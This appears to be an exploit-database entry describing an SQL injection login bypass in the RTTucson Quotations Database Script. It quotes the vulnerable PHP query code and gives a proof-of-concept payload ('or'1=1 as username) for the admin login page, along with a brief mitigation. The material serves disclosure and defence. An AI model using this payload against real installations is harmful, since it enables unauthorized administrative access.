header-logo
Suggest Exploit
vendor:
Quotations Database Script
by:
cr4wl3r
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Quotations Database Script
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

RTTucson Quotations Database Script (Auth Bypass) SQL Injection Vulnerability

The RTTucson Quotations Database Script is vulnerable to an authentication bypass due to an SQL injection vulnerability. The vulnerability exists in the login.php script, which is used to authenticate users. The script does not properly sanitize user-supplied input before using it in an SQL query. An attacker can exploit this vulnerability by supplying a specially crafted username and password. The username should be set to 'or'1=1 and the password should be set to cr4wl3r. This will bypass the authentication process and allow the attacker to gain access to the application.

Mitigation:

To mitigate this vulnerability, the application should properly sanitize user-supplied input before using it in an SQL query.
Source

Exploit-DB raw data:

# RTTucson Quotations Database Script (Auth Bypass) SQL Injection Vulnerability
# By cr4wl3r http://bastardlabs.info
# Script: http://www.rttucson.com/files.html

# Bugs found /quotations/admin/include/login.php
---------------------------
36 if ($_POST['submit']) {
37
38 $Username = $_POST['Username'];
39 $Password = md5($_POST['Password']);
40
41 $query = "SELECT * from UsersTBL WHERE Username='$Username' AND Password='$Password'";
42 $result = mysql_query($query) or die ( mysql_error() );
---------------------------

Proof of Concept

  http://bastardlabs/[path]/admin/include/login.php
  Username: 'or'1=1
  Password: cr4wl3r

Navigation

Suggest Exploit

Services By CQR